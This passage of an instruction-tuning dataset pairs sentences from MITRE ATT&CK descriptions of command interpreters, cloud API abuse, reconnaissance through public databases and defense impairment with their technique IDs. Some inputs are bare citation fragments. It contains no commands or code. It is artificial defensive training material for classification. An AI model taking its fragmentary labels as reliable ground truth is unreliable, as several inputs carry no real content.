T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse cloud APIs to execute malicious commands.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse cloud APIs to execute malicious commands. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP).", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public digital certificate data for information about victims that can be used during targeting.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public digital certificate data for information about victims that can be used during targeting. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search digital certificate data to gather actionable information.", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search digital certificate data to gather actionable information. ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup)", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation:", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search within public scan databases for information about victims that can be used during targeting.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search within public scan databases for information about victims that can be used during targeting. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search scan databases to gather actionable information.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search scan databases to gather actionable information. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information from these services.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information from these services. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search DNS data for information about victims that can be used during targeting.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search DNS data for information about victims that can be used during targeting. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search DNS data to gather actionable information.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search DNS data to gather actionable information. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation:", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CDNs allow an organization to host content from a distributed, load balanced array of servers.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CDNs allow an organization to host content from a distributed, load balanced array of servers. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search CDN data to gather actionable information.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search CDN data to gather actionable information. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN)", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public WHOIS data for information about victims that can be used during targeting.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public WHOIS data for information about victims that can be used during targeting. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search WHOIS data to gather actionable information.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search WHOIS data to gather actionable information. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious 